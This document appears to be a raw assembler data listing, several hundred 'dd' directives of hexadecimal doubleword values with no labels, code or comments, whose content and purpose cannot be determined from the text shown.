dd 49114Fh, 229085A2h, 0F0725B38h, 7F4D4300h, 17FA3C1Dh
dd 82EB00CCh, 1634369Ch, 8E090E98h, 0A5637B6Ch, 64B48758h
dd 0B078E3F6h, 1A0B744Dh, 9E8EE25Fh, 0F1DECF60h, 4E019821h
dd 0B5D24F6Ch, 0EEDCA268h, 0FC7B5AC1h, 491F1941h, 57F89D40h
dd 48D82706h, 0BD9A6C00h, 0BEF034E0h, 5D005098h, 7D9CE2ABh
dd 76FC3ADh, 0E7792B65h, 69F9B129h, 2C04E868h, 1BC79100h
dd 13982AFEh, 5DCF8D1h, 0F664610Ah, 93A0F438h, 743A4800h
dd 1F6C9BA4h, 97490499h, 802B90E3h, 0C7AADF4h, 0EA629130h
dd 2F14F7Dh, 0D05B899h, 505A4888h, 0B51F8007h, 0B070F323h
dd 0CCC7ECh, 0E9A18255h, 868994Fh, 7E7420F2h, 58144Ch
dd 0A90DADB3h, 8FB2B0h, 15365C1Dh, 228EF72Bh, 8080693Ah
dd 2FBEADEBh, 281FAEA9h, 5ACB4A4h, 69112A5Ch, 3BF00C10h
dd 8F48E606h, 607C0074h, 0FCA6B0D9h, 9CCD021Fh, 20EC932Eh
dd 8D5F8850h, 0AFF21043h, 5075FFD0h, 80E3ACC3h, 78ADF11h
dd 3166C6A4h, 8E90B0F8h, 9838A826h, 32A80D5h, 9BC628E6h
dd 44460085h, 0A3295910h, 8600600Bh, 0B0183CC2h, 2437C61h
dd 15D414C8h, 6049F23Eh, 189C29ABh, 4798116h, 0AEEC0EC0h
dd 0E9A9F991h, 0BEA9F018h, 8AF57F00h, 8248AEB3h, 5899001Ch
dd 40E7C731h, 90032A97h, 838CA760h, 0C2F2B055h, 6B2E09F0h
dd 0B880237Ah, 3BBC4968h, 1939AEE2h, 4098095h, 3CB34120h
dd 9C744CD7h, 0EFEAF500h, 59C347C6h, 0E4C09E00h, 818D4C4Bh
dd 0CFBE0579h, 834D44C4h, 0E8B0534Dh, 0BF60A1B6h, 0FEF8FB18h
dd 1FB0C0F2h, 0DED48BE9h, 4D662900h, 973412EDh, 0F73000D3h
dd 0F1BFF38Fh, 20003A7h, 602975F9h, 0BCCF83h, 109C3AE6h
dd 0C46F1568h, 0F01F2898h, 97835A18h, 0E00544C3h, 58F713h
dd 0A6A96499h, 0A722D74Bh, 6E094809h, 964F0038h, 7177E30Bh
dd 34029D59h, 84F044A4h, 2DBB8800h, 0DA0D6E06h, 1D9B0015h
dd 6BF6E5C7h, 0EF01D4A2h, 0BC23C3E1h, 21EC18A0h, 840D004Dh
dd 0AB945743h, 2513A4FAh, 0C847262Bh, 9124D5F2h, 928184E2h
dd 0D8C631F9h, 6D13FC43h, 0C4475860h, 0B040FF4Ah, 0C6EEFDh
dd 8E960548h, 30290D51h, 726473Fh, 9CFCC057h, 63DE6780h
dd 0AB7D06h, 1EC1249Eh, 0FE61A834h, 9C00148h, 80920A64h
dd 5D2EB9D8h, 0D7233E27h, 17DDAA84h, 5E3C923Ch, 0C445145Ch
dd 13A88E0h, 894399E6h, 0E34EB0D1h, 12661930h, 0D06113h
dd 6B05C4C7h, 0CABC7B06h, 3F740D78h, 81731100h, 0ED1C1AD6h
dd 44B40A5Eh, 0E89158h, 2C2FD64h, 20797A03h, 0E21DA825h
dd 0E4914174h, 782C68E9h, 722E690Ah, 8190828Ch, 0D48F9480h
dd 52C9FC40h, 4060F86Eh, 93B79221h, 950200C3h, 0E0E1445Dh
dd 0F8A08C85h, 820F79BBh, 0A034FF6Dh, 87B8FD51h, 0C138C004h
dd 9D0990D3h, 716BB00h, 643AA1CEh, 0C517B8CAh, 9EE510h
dd 8F4E21DBh, 34F5C36Ch, 0DE4B0FF0h, 87FDA849h, 0F060C988h
dd 0C32F7576h, 0AB133211h, 7A961AD8h, 0AFCF2400h, 692CE4ACh
dd 806507EAh, 0C0DF02A4h, 14DBB395h, 24C19A2Ch, 73990901h
dd 0E9C496D4h, 819B007Bh, 46132E05h, 6E2526F4h, 0CF38C1FDh
dd 0A670BC41h, 0A4539995h, 974085CFh, 0CEC6FD25h, 130FBD73h
dd 807207F4h, 4F894044h, 0A5790008h, 0AA2CA3EBh, 9B05D0BAh
dd 819D6BF0h, 98D00485h, 7103B784h, 0CDA50772h, 4B564AD4h
dd 0F60A4C02h, 0DB4D64E0h, 2E140400h, 961723BFh, 1AB800B4h
dd 1FE4CD9Eh, 7F384270h, 0D9D205F6h, 9400A419h, 9F29400Bh
dd 33571869h, 987ED895h, 17305CE8h, 0A8A412C6h, 2EA29062h
dd 0F08EAA3h, 6E00C12Fh, 0DCFB2163h, 58100209h, 0E8310032h
dd 0AB8647h, 0EE7DE566h, 0F4C7E70Ch, 46389577h, 0D4780EC5h
dd 218D0497h, 5328A0h, 91CDEAB7h, 0BAB07F8Ch, 5F22B61Ch
dd 84F13200h, 1E283D10h, 402A873Fh, 56B30A6Bh, 0C800169Eh
dd 9667F612h, 277418Bh, 0F74D7551h, 0B4630B61h, 78565E8h
dd 0E63CA50Bh, 4F04A257h, 977DE075h, 5DA30ECEh, 71F6141h
dd 0C148AADFh, 303E2D20h, 212559FDh, 0C2286171h, 0F003C03Ch
dd 0CA84EB35h, 0FA81100h, 0BB454DFEh, 617E69h, 3E23528Ah
dd 0EF5C2BC3h, 75F85A00h, 0C942A79Ch, 0C62E00D3h, 81BFCE54h
dd 2C13B0E7h, 3CB07B52h, 4114B6DBh, 6445F24Ch, 3400A748h
dd 1567BA75h, 39BCCBEh, 0D192D903h, 79C02F7Ah, 28908AADh
dd 0F81FBA2Ch, 192DEF80h, 0A77713h, 0A257CBEEh, 0AA602CD0h
dd 0B9505374h, 8300E6F8h, 0E004EF2Ah, 0EA5E1EE5h, 0CCA71FD2h
dd 575F4EA3h, 1D3B6580h, 0B838F7C2h, 0ED8E1399h, 1AA69F0h
dd 13FDB4F4h, 30DABB6Eh, 5600C41Ah, 3617F4Bh, 46518h, 87477593h
dd 5589E374h, 8C0D45Eh, 12590611h, 4040BBA1h, 9C0B651Ch
dd 3D3FB969h, 98D81FA4h, 46E314C0h, 93773Ch, 27435305h
dd 3DDD19C0h, 64F5AA00h, 2A3459CCh, 641F5C5Ch, 9181AF09h
dd 9417BC68h, 9964224Ch, 0E4398498h, 0F61E5098h, 19D09205h
dd 7780FAE8h, 35F11F1Ah, 0D0B06872h, 0DAF04DA8h, 3464FB00h
dd 5D77A97Ch, 99B00008h, 0BF59269h, 5B078822h, 579E45C4h
dd 0F4AC3894h, 0FC805C3Dh, 54A809C3h, 2C001BDAh, 0C2CBCC79h
dd 0E84F637h, 0A933BA13h, 2543A6C0h, 47E2C32Fh, 2E7393Ch
dd 0C6529530h
dd 5B2CE034h, 0A28A0038h, 3BA73A50h, 670B7985h, 8F365EFFh
dd 0FE87C01Ch, 4BA45577h, 1D54C33Eh, 806EA6E8h, 9F0DF303h
dd 0E8921FA3h, 3EB8DCBh, 964DFF2h, 23F8C7AAh, 1B0052FEh
dd 0B60B3AE5h, 0B8053011h, 0E6E7003Ah, 0F5E060FCh, 6377FEAEh
dd 7EA2400h, 0CB397D80h, 68DF0381h, 9C1F3444h, 0A6493Eh
dd 0CAE9637h, 0A0855Bh, 3E3FB9B0h, 46A7B29Bh, 894BD401h
dd 92D0B536h, 2C7712D8h, 402482A9h, 0E4788AE9h, 0AC070C00h
dd 0F50D1221h, 0F8F2001Bh, 0EC9D6A05h, 7A01E3C7h, 32BE3311h
dd 22E4FD3Fh, 0F513385Bh, 8BA92Eh, 0D16D7819h, 0FD001580h
dd 5CA8FFB1h, 41AF47h, 7FB28E4Ch, 2F12E20Dh, 78AEFA00h
dd 912E4E8Bh, 0B6E60016h, 0DD6A5DACh, 5237561Fh, 7BC05068h
dd 0F2DD49Fh, 646392CBh, 5ABFCE0h, 4712E7E5h, 18F0A3E8h
dd 28E95E03h, 16779DD4h, 55DAFF01h, 770AB2ADh, 0FD5E721h
dd 0E2001C3Ch, 0C0AE8A22h, 0A4011CCDh, 6D060B16h, 54F4E12Ch
dd 0EFBC028Dh, 59ED604Eh, 0A26A0B40h, 5A4E1048h, 78650888h
dd 98058409h, 0A8DFE282h, 7E1F00ADh, 0F4180DAh, 0D747A41Fh
dd 2E5ADFE8h, 44E038D7h, 20A93Ch, 4D4A928Eh, 869DDE9Ch
dd 4900097Fh, 0F6E47BCFh, 65CBC74h, 78438898h, 3205484Dh
dd 0A2891547h, 0B04CB0h, 0DDFC35D5h, 0AD67DFC6h, 755AE674h
dd 77C48CCh, 0F950F426h, 2807E083h, 0C6140C6Dh, 0F65CC0h
dd 928B6890h, 3B5F8BEh, 0ADC4F415h, 61F0ABCAh, 8100D09Bh
dd 5663E18Fh, 50C3C6h, 0BA8D06A6h, 0BB12C526h, 0FCF32F00h
dd 0D2530822h, 0F6FE6DFh, 9F7E54CCh, 76DB62A0h, 0B300BF34h
dd 5230C198h, 592B16Bh, 9AB2A4DFh, 67FB80C5h, 8B004EF2h
dd 1C365D29h, 1E54FAFh, 880A28CBh, 20F7BDC3h, 0E800117Bh
dd 0D7CFF021h, 13A490h, 77B17075h, 2DA3D1A5h, 1C7B0F09h
dd 4C501Bh, 220D9DF9h, 6B072314h, 8327A801h, 956CCC17h
dd 189A0D8h, 75DDAE5Dh, 52F6433Dh, 105ECF9Ch, 19D700BCh
dd 0FA4CBA12h, 2A8007EBh, 22F27CBDh, 0C8829336h, 0F080AC3Dh
dd 26170297h, 0EB3C291Eh, 80FCE8D4h, 1A95899Fh, 4C7A000Ah
dd 0FECD32F0h, 88000408h, 85E2C99Eh, 0FC6BF443h, 29E801C7h
dd 0B8F9954h, 0F6B57059h, 3AF48574h, 0BCAC4A00h, 0FFF7BE5Dh
dd 2720C3EDh, 0B7B0D443h, 0CD00C767h, 39097CD5h, 0B19C8Dh
dd 484CD7B8h, 0A5185DDFh, 9869AD3Fh, 0C5E17984h, 0E66D05C1h
dd 40DF274Ch, 61998280h, 57FE9EB7h, 5E433B1Fh, 0DB03D9A4h
dd 0BF27097h, 2C948228h, 59007CF4h, 36AE90ABh, 9052FEDh
dd 0BFEB9A60h, 0DE951100h, 4027A11Eh, 0E3B000B7h, 5713CB14h
dd 0D4867CFh, 0A8EE03A5h, 0F1D3A08Ah, 0C7E53295h, 774CF8h
dd 0FFA171DAh, 0AF6AA72Dh, 9B58F900h, 0AA26B1DFh, 0CF3B3895h
dd 0F3B7E980h, 6314D0A0h, 0D7CE6100h, 0BBAFA145h, 415A035Fh
dd 0A991BC10h, 71701E2Eh, 40C6EB0Fh, 9D8F4D14h, 5E3C48DBh
dd 668F043Ah, 4180ED7Eh, 0E67DD7C3h, 0A6FB2F00h, 59BBAC7Bh
dd 788DEC71h, 5A730034h, 0C4F1C66Ah, 0A00815Ch, 0AF9D1A10h
dd 509107D4h, 0AF8080C3h, 91FC8604h, 0ED00108Bh, 757E824h
dd 7E02A2h, 89148093h, 0FCC5F137h, 0CD235118h, 88EB2628h
dd 0FE887BD6h, 2535883Dh, 89ECDC88h, 44C908EAh, 2284193Ch
dd 0BE42E1B8h, 9D086121h, 0E309882Ah, 919D9290h, 24611133h
dd 21E93211h, 0C8223CA6h, 5B284550h, 847AE544h, 6F75BB22h
dd 208029E9h, 5D3861D1h, 0F545FA00h, 8CCF4C33h, 0EC654F27h
dd 0B2AB0023h, 1B11E34Eh, 60890781h, 0D0FD78E7h, 693F967Fh
dd 0AEDBE600h, 0D27B585Ah, 0A190038h, 74F91E1Ch, 0A30046F7h
dd 0AB0DCFEDh, 7F1108h, 8CC05DC4h, 0ECA22E0Ch, 39704400h
dd 0C820B143h, 563F0B92h, 0F4807EFEh, 365AB7ABh, 0E693E11Eh
dd 0D900D75Ch, 0BDD8CA94h, 0B4DE004Dh, 4A1557F7h, 0EB015BABh
dd 1170E0FCh, 2520FA3Eh, 0AD8BF7Ah, 4B006D72h, 0C2860B96h
dd 793EA85Dh, 658D390Ah, 0D2372D05h, 32E7C054h, 670026DAh
dd 6C4FF710h, 697EE7h, 728CFDCEh, 8F322BB1h, 0C76F8706h
dd 648AA5Ah, 4C0D2CC6h, 0CBF611A4h, 2B63B000h, 0D07B1143h
dd 72DE0045h, 0CEB31D1Eh, 4B2F6D46h, 0A95848h, 0CD206BC2h
dd 0F8ADD7FBh, 6D5F981Fh, 42E17B00h, 0C035AF4Eh, 0CA2BBB10h
dd 4B0367A5h, 9C132AE5h, 85480512h, 8097C26Dh, 0DC2D424Bh
dd 0D56FB60Fh, 0CB7BA070h, 0F86B5020h, 296A0FC8h, 2E47ABAFh
dd 25C0D0ACh, 7400DBEBh, 882C7E19h, 7F7C2F0h, 10C45C04h
dd 0E0A74782h, 0BB4F620Ch, 17EA6401h, 6BA0ECDAh, 96BDB840h
dd 574C1EBCh, 5089405Bh, 0A8777216h, 11C2181Eh, 9E32E640h
dd 3A6108h, 14176B96h, 0C9153728h, 0A4C82300h, 34780D05h
dd 0DE160749h, 0B0A8EB01h, 3B224BFBh, 9473027Dh, 0DB11C000h
dd 3DD89149h, 40631F2Fh, 584B87B3h, 9A0CEC1h, 0ECA776D6h
dd 0E1D01F00h, 103175E8h, 0D7860258h, 34F03BF5h, 0B377FD60h
dd 832A8D03h, 8F9AE972h, 296542D1h, 0EE9420h, 60B1EB08h
dd 8B3D79DFh, 0D2C46C02h, 8073BDC6h, 0DC219BA4h, 0A14600E1h
dd 5A82AE8Dh, 3500A517h, 8495CAF1h, 1590BD97h, 0C4CB85D0h
dd 6D07C939h, 91F5675Fh, 60F79FB5h, 4C00E420h, 1560710h
dd 0B065F304h, 297900B7h, 0A4B1627h, 9B3C4E11h, 0FD11E02Ah
dd 0E81B3Dh, 63257B41h, 0CD46F3ADh, 695A2F00h, 4D6D5848h
dd 0C09175h, 0D4A920D1h, 62182CFFh, 889077E9h, 6C810F38h
dd 0FE45B5F0h, 40E800D7h, 0A271E8F3h, 0B9AF8C03h, 376AE44h
dd 0A5F57030h, 280FD43Eh, 33380h, 3A0549D7h, 135000E1h
dd 350F4B31h, 0FE00827Ah, 25A9BADDh, 760ADFh, 6D65ADD1h
dd 6CAB0C24h, 97C8D814h, 2FB600FCh, 73B52832h, 45A8005Eh
dd 0DC3C1E06h, 0B9007AACh, 28BC1F97h, 0FAB53DD3h, 8031EE52h
dd 55E02DC5h, 0B392D200h, 15EC7BF8h, 7973DCh, 138A4C05h
dd 10F447C1h, 5BF94B00h, 0F5CF177h, 3E55008Bh, 895E0CE1h
dd 410487F5h, 0A4E074FAh, 97611D02h, 0EF50D900h, 82C053Bh
dd 8079FF70h, 0EADBD777h, 2000FE78h, 4987483Ah, 0F2EC064h
dd 0BFDACC37h, 0F8EC8C22h, 5D0E7240h, 0AEDD4900h, 93BDE11Ah
dd 282E7663h, 0D47204h, 8453B61h, 0BE12CBECh, 0DF036407h
dd 0E6906A26h, 7EF6BBCCh, 0D4512609h, 171E94h, 62EE3344h
dd 630E856Dh, 0F7377491h, 80755F09h, 0DF535CF1h, 0D55B1FD7h
dd 0C72EC0F4h, 0AE5E89B2h, 0FA21EC00h, 2546869Dh, 0A95A3CE0h
dd 9CB2DE01h, 0E8AFF9B0h, 0F600DDF4h, 4FB9CD1Eh, 337E5Bh
dd 388CF854h, 2CB5C192h, 5E1A0700h, 0C3B47A3Eh, 0F0270F65h
dd 8C1A30Fh, 0C0EA7422h, 9C00A052h, 2C2335CAh, 38D39F2Dh
dd 6E007D79h, 700E41C2h, 9203033Bh, 76F31B85h, 0FE42D081h
dd 7C28009Eh, 3AFBAF47h, 0A95C8A8Eh, 0E9C90006h, 0A8E5DB30h
dd 69FC00B3h, 973D5158h, 0F0004EC2h, 0A2F1FEB4h, 26412F60h
dd 0B86720h, 26FC8036h, 0DFE4AD0Ch, 1A19B300h, 0A2D7C662h
dd 3AF62451h, 331B0078h, 0E914CD7Bh, 1019AE02h, 40D79B65h
dd 90DE9024h, 909A5C52h, 2374A16h, 94FF8478h, 4405E487h
dd 20F8903Eh, 2B000FD0h, 83B28E7Ah, 134AA9CFh, 7609151h
dd 10B903E8h, 1FC7B1A3h, 0FCB48h, 0CEED5373h, 0CA52ADh
dd 70A09F6Fh, 0BD96B897h, 0F700BB7Dh, 0F21ACD5Fh, 77DD5Eh
dd 0A9413483h, 10C11988h
dd 2AADE00h, 0A369FFA5h, 45AC1F36h, 40E81338h, 0EF4E3A0Ch
dd 61009F42h, 0F3C7F5Eh, 530569h, 0D89D2B1Bh, 35F274E7h
dd 8A6CDB07h, 97E2A5AFh, 27941F8h, 0E1FE7060h, 0C290CCh
dd 0D34E831h, 0B8994BF0h, 9EE4D300h, 788C37BCh, 304C60D1h
dd 2974172Eh, 5E238100h, 0A24A04CDh, 7E7841h, 0B8A32050h
dd 5A53A9B2h, 2D883B00h, 0CCCD5686h, 2C70B018h, 609434EAh
dd 3BA2FEF8h, 0CD92493Eh, 365001C8h, 383EDF88h, 0FC91CCh
dd 0AF1080B9h, 7B7DD3D7h, 1F656900h, 0BF3C7977h, 39DCA035h
dd 0D4F200A6h, 7C67DEFh, 3E00DE55h, 849C2F57h, 92E47Fh
dd 82A8B387h, 44EE48B1h, 0F48ECC00h, 7F6D604h, 0ADDC00D4h
dd 0BE1B2A08h, 620025C4h, 4BA0F0B9h, 2E8F5Bh, 15111671h
dd 0E62B4014h, 20A5E20Eh, 33E040AFh, 7348ADBh, 99CD52D5h
dd 0F809E1Dh, 54825544h, 0A5A87400h, 0E4BD8F43h, 60141F16h
dd 3686413Eh, 507CF263h, 0FFB2F90h, 8CF5A43Ch, 26CFD4B5h
dd 93E6C2h, 2676F272h, 0C0416745h, 0AFD2CB00h, 0A05E7F44h
dd 34DE0E51h, 24603B56h, 0BA1A0D41h, 0D0B6153Ch, 261D83A4h
dd 0B42AC1F8h, 8049113Eh, 713C9527h, 424661h, 0D1DFBFE4h
dd 0F92ACBAEh, 0BBB90100h, 0EA6B5AA8h, 49DD00BEh, 0C98E5E93h
dd 10E102Dh, 0E0690821h, 0DDF9BCE6h, 48BE0191h, 0BD51D484h
dd 1015ECA4h, 0F7D813Ch, 809F339Eh, 0AF973E4Dh, 0A4BF0041h
dd 61D31045h, 1A002DDFh, 4C6CEEE7h, 322C3Fh, 62F71BFEh
dd 0A79917EDh, 3DD73C16h, 9B306902h, 0E9844018h, 316C0041h
dd 1A9FBEFEh, 0B91C8807h, 0A9C01D8Ah, 2D27AE80h, 0FC5900A3h
dd 0CBCF26A7h, 1AECD815h, 8D421100h, 0C16DC368h, 0F66C2833h
dd 1CA558F8h, 0B345710Fh, 0DBEFC240h, 0F079744h, 8EDE02AFh
dd 822EDFB3h, 0C0BF609Ch, 509000D8h, 17B344D5h, 6D2E53DCh
dd 130E1C62h, 33F3A473h, 98955483h, 24EEA642h, 8F949F43h
dd 328D163Ah, 0E220E820h, 740D540Eh, 0F6556027h, 2E3984D3h
dd 0A4D83Dh, 0BC0A1CFAh, 29FE5A96h, 0DF0077E2h, 62653A74h
dd 0A26397h, 0EB3C4725h, 0AB8451CDh, 0F1B24600h, 28EE9A16h
dd 0D68A0054h, 0C5396E3Dh, 0A4A015F3h, 40766D05h, 1BF6B3Dh
dd 542CA7DEh, 45F8BA9Ch, 53C5000Ch, 5034070Eh, 9B093288h
dd 809C316Ah, 267E9593h, 0C98707CCh, 0B7814734h, 0BB450Bh
dd 57215DA4h, 7200EE28h, 183AE24Eh, 10854Ch, 31A2528Ah
dd 0FB54781Fh, 939A2500h, 4ECACBA0h, 44D40E29h, 0A834DF8Dh
dd 0F97A880Bh, 6C1EACA0h, 7F267DDAh, 0A780145Dh, 1B06BE25h
dd 4DCB0310h, 6E15A5D0h, 0DE891E00h, 87FBD348h, 0A2B100E4h
dd 0DA8CFABAh, 24121296h, 3400ECD4h, 1688CE7Ah, 0E7B48006h
dd 4047EF3Ch, 309D0055h, 6342FB85h, 9C77CB4Eh, 6EA0CC5Fh
dd 1972BCh, 5D44B7FEh, 0DAD7E878h, 7B96A000h, 7106C56Eh
dd 7237FE39h, 0AA111684h, 905610E4h, 7900D09h, 59973400h
dd 0FB00B825h, 0F0D808EBh, 19045155h, 0F81BBDA7h, 506120B1h
dd 6635907h, 0EBC02781h, 6029BAC6h, 88FBA867h, 0BD0A1623h
dd 9887E506h, 8943C89Eh, 8C3551D8h, 2CB0C01Fh, 0BE82C949h
dd 87BC88C0h, 50492FCh, 98F770F4h, 40028067h, 63E0B090h
dd 56DF6200h, 0D709AAE9h, 4AA500BCh, 0E2ED40BDh, 35F0CF29h
dd 507CB000h, 52DB068Eh, 2E57006Dh, 23618DD4h, 837D2669h
dd 55B260FDh, 2DC7A101h, 445F982h, 0E3A5A440h, 0B5A903BEh
dd 2EDA7F37h, 2B0652B0h, 4903C101h, 80753A5Dh, 508CE0h
dd 0B9AA79A3h, 33DCC73h, 0F0C5F0Ah, 0BD008423h, 0CA0DC855h
dd 0D67B0F4Ah, 3E4994DFh, 0C42B007Fh, 76C933A1h, 0A308019Fh
dd 89926F8Ah, 3B282C53h, 3F740130h, 280F9DA1h, 50181CF8h
dd 264594A6h, 400CAF79h, 282D2687h, 6E817501h, 307B89B9h
dd 7596F730h, 0A8A442h, 153C4164h, 6C23ED6Ah, 8A4B8601h
dd 92DA1942h, 0EA1DCCh, 0DD06D249h, 67407890h, 4B7C20EBh
dd 0DA791578h, 8863D8C0h, 4CFC7D14h, 0C503E46Ch, 3B7CF78Fh
dd 0F2241100h, 0DEAA01F1h, 87580010h, 4FE082D4h, 6515F03Eh
dd 24F8B25Ah, 201108CCh, 82000D4Ch, 0D7AA242Bh, 0E3006F1Dh
dd 5749B2C5h, 6F8805Dh, 8651EC19h, 140141EAh, 0CE6747D6h
dd 7034638Ah, 0EDB51EA3h, 655880F0h, 2C418ED3h, 30BF6Bh
dd 0CF1DBCCh, 0FAE61DB4h, 0FFC6605h, 0E382E81Fh, 2CC037ABh
dd 0B8007139h, 786A8C1Ah, 5CCBE580h, 0B53AE6DBh, 0F4A9C600h
dd 353EF187h, 9C14282Ch, 0B303CB00h, 90C3D9h, 2372885Ch
dd 0B6627E2Eh, 126E9E00h, 1D9BEA45h, 1E380F74h, 0F2839060h
dd 0F0986424h, 0C50076FAh, 9B45C3A1h, 4165431Eh, 7DB2C830h
dd 298E5800h, 0BF25FAA2h, 7FA6007Ah, 43F2B9B7h, 0CF3DE781h
dd 0AFE1001Ah, 0A725CCACh, 41E4255Ah, 8902000h, 9103EE9Fh
dd 0A4B45D82h, 0F9FFB814h, 0DF2E006Eh, 38D0F3FAh, 6C2C7D02h
dd 4A0B2473h, 9DF4A11Fh, 58ACF20Eh, 3DD10C55h, 7C30E518h
dd 51FA613Fh, 0D53100FEh, 4C0DB529h, 0C4003539h, 89CF8897h
dd 721F3Dh, 638591C3h, 0EBF49671h, 2DFCE059h, 0BE560Fh
dd 23067924h, 0E0086AFh, 1099B6D9h, 34FC8C6h, 0A4D62DAEh
dd 0FD550Ch, 60B558C0h, 8B806BE8h, 197300C3h, 0C81C5183h
dd 0EE3BEA38h, 6B7609B1h, 0A99480AEh, 34DDDBh, 0D020D1FFh
dd 0A4CEB25Eh, 14B0A200h, 856188EFh, 0DE4E0586h, 1172A83h
dd 0BDF29FC0h, 2FD80952h, 39AFF2A5h, 3100BED7h, 20604888h
dd 4D3F65E6h, 189A809Bh, 0DAB54621h, 7B1795Ah, 0A68411BFh
dd 6C85518Ah, 996EC46Ah, 0E4342700h, 8F67AA39h, 604600CAh
dd 6313DA12h, 53043AD0h, 32F2100Ch, 13EDF4F0h, 14597AEh
dd 30CF7B16h, 0EB80D766h, 7C029BFCh, 0D4DCB79Ch, 0E87865h
dd 0ADB9F452h, 0D7CFFCEAh, 0C0BCC72Eh, 2613BE82h, 8D068B6h
dd 73F01D1h, 9FDD884Dh, 6CC8DAB4h, 0D30EFFC5h, 0C0F50412h
dd 0B92A206Bh, 0B83F488Fh, 3D5E6E00h, 4EE8DC94h, 260070FCh
dd 0EA2FADC9h, 379C8E2h, 6E2A6AD7h, 509F235Ch, 0EB6926F0h
dd 672D5600h, 4FFAAC97h, 0A2281DD0h, 760CFBA4h, 82F0667Ch
dd 7A37BC03h, 0F040F141h, 5667E4h, 0E643527Dh, 0F26E45EDh
dd 77002873h, 752329A4h, 447D8Bh, 3253C619h, 0A77AD4FBh
dd 0ABDEEC1Dh, 0B865C80Ch, 389A27B0h, 0F066CA0h, 94A8ACDBh
dd 7BB849D2h, 0DEE57F0Ah, 0B48098C6h, 0D8299972h, 0CE7B00F7h
dd 1175EAD5h, 87601F7Ch, 0E42461A8h, 0BA5500A4h, 0CD2B1E21h
dd 0A504E63Ah, 0CF4073AAh, 3A9DA8C8h, 0E0457278h, 620E3654h
dd 80402534h, 0A1654210h, 6F2A000Eh, 891F38D1h, 67028AE7h
dd 0B27D4E9h, 9F084B43h, 24DC144Bh, 0A0CCEFF7h, 0CBF60090h
dd 5ED6DB7Ah, 0C4002B47h, 79E2E526h, 381BB69Eh, 6EA4ADCCh
dd 0EB8A8004h, 3A28DDF9h, 8D1C8700h, 32D4F0A1h, 5E360038h
dd 46B33103h, 0E0E68DAh, 20E13063h, 0E4960ABBh, 0B0D97453h
dd 80910029h, 7EB482AEh, 0AB008838h, 701828A2h, 0E0D055BEh
dd 26EE0373h, 0A3DA153Dh, 0FB48B3F8h, 0B221B400h, 0AF5CEB9Fh
dd 1642282Bh, 7D2C01D8h, 0D06628DCh, 0DC62D663h, 9A01E43h
dd 2E03078Ch, 86FDA78Dh, 0CC81002Fh, 98F8A18Ah, 8F1CE3ADh
dd 0AEC0B72Eh, 970F25C4h, 0B38000B6h, 4E571B18h, 0C100ABC7h
dd 0FAE4AE81h, 0EACDBCh, 7351A92Fh, 0ADD74215h, 970CC200h
dd 557AEB6Bh, 348A00B9h
dd 0F6046433h, 9D0188DAh, 622106B3h, 0F4C0AD0Eh, 0F7CE0357h
dd 0CD2F6FCCh, 97F8A490h, 74549C0Fh, 3BE767E6h, 0FBBF7150h
dd 0F046145Ah, 61FEC5Fh, 5CF68010h, 32FFD7Dh, 0F102E304h
dd 34F12796h, 3954A9DCh, 1D00232Bh, 0E966F7A4h, 4A00B5E0h
dd 81571E40h, 52ECAEEh, 32E3472Ah, 0D4A40F1Fh, 7C20A429h
dd 0F68E28Eh, 93CE2B0Bh, 2FE021D9h, 0C879DD8Dh, 0AD40E700h
dd 2BBB63B5h, 1C6A5503h, 0E3FE747Ah, 804AF086h, 48440B2Fh
dd 1C016CA0h, 64390D7Bh, 0F02269D4h, 0AC940EFCh, 3E6982B6h
dd 0F5937C00h, 51D1ED3h, 23A7335Bh, 9029FCCCh, 3BDF53h
dd 3A6C11Ch, 2EA4A32Dh, 5718FA61h, 76CC7258h, 0D9A800C3h
dd 22964BFCh, 0AE38EE84h, 0E33B8964h, 0B3484097h, 46B907DEh
dd 6F1924B0h, 90BC1B40h, 0D900083Ch, 0A70E5E0Bh, 1D89054Eh
dd 66D5D1Eh, 0C8DB3280h, 0D0CDA400h, 25EBD28Ah, 93313A4Bh
dd 0CF99F400h, 3D964E37h, 0AC72D60Ah, 0D200885Bh, 0B6ABFDAFh
dd 636A7BFBh, 0E662505Ch, 0E4E877F1h, 61037DBCh, 48157AFAh
dd 0B84E9396h, 2D85CAh, 3DC4D30Ah, 76B7AB9Dh, 0D2FD3400h
dd 1AAF01F9h, 9E2100F2h, 0D286AE5h, 0CA1F8715h, 1902FBAEh
dd 60357E90h, 22D081h, 47610F2Ah, 3AD47418h, 0FAC57300h
dd 0BF7E482Bh, 4EB71CA7h, 0D692003Bh, 0E1F11A09h, 0FBCF4600h
dd 2004A187h, 0A0570F71h, 126026A4h, 86983CBh, 2C1F2FE0h
dd 0C5264D4Ch, 0AB283200h, 169346h, 2F3A9F43h, 0EA8195A8h
dd 663C0D13h, 0B027FC20h, 41513D74h, 0F280473Ah, 0A124951Dh
dd 0C7009A96h, 0AFA4D34Bh, 0CED11Eh, 0F998A8E9h, 34C171F7h
dd 5FBFEE02h, 0C09C3B2Bh, 0FA91211Dh, 30351616h, 0A25B0040h
dd 8062747Bh, 505D2800h, 0B68BAF33h, 0B10103B2h, 8567FE56h
dd 1C381100h, 877C3CE2h, 772C00F3h, 0FBE10A52h, 0C5006675h
dd 0C7950936h, 7E7D31h, 55E5CE21h, 59CA5D5Fh, 42D7C509h
dd 0C2C0A013h, 83EE2Fh, 1F37450h, 1A4C3B80h, 70B13700h
dd 56D63AC6h, 0C24709D5h, 60002AA4h, 911FB0DAh, 211BE60h
dd 123B9E9Dh, 42D9654Ah, 75348420h, 947A1A60h, 0E8484100h
dd 3E1C7792h, 246259FBh, 0BB4CB82Eh, 44D030A5h, 0DC172E00h
dd 60731CA1h, 2616041Dh, 80EA7FB0h, 0AA751084h, 185D3B2Eh
dd 0A3636200h, 1C1E3558h, 0C001C734h, 18216F5Fh, 0E5719036h
dd 3EC49714h, 25F6028Fh, 0E0266965h, 3A375F0h, 0A93F3477h
dd 87EB182Ch, 0D6095BE8h, 0DE329D05h, 8480D801h, 4E016h
dd 0F652ECE4h, 4B890DFAh, 446D581Ch, 18DF4A00h, 1C3333Fh
dd 0DDF11405h, 70E149BBh, 0A4007298h, 229336E5h, 0EBBA75h
dd 0EF8D0DD9h, 1DA79FBDh, 0B409774Ah, 52806025h, 308900CFh
dd 0F8851595h, 3C001DD0h, 0B92066FCh, 1F05B20Eh, 4970ECh
dd 0E2CB0245h, 691D5B23h, 38DFFCBCh, 8DBEF0C0h, 173ACEDh
dd 0A334DF80h, 20195CC7h, 25005ED8h, 0A28DFBA7h, 9D292012h
dd 2432CC0h, 9CE8E250h, 0C0C8B030h, 3B7A575h, 7FBADE1Dh
dd 0FBF8E799h, 0D00A44A8h, 0E437A245h, 0E1589A88h, 306F48CFh
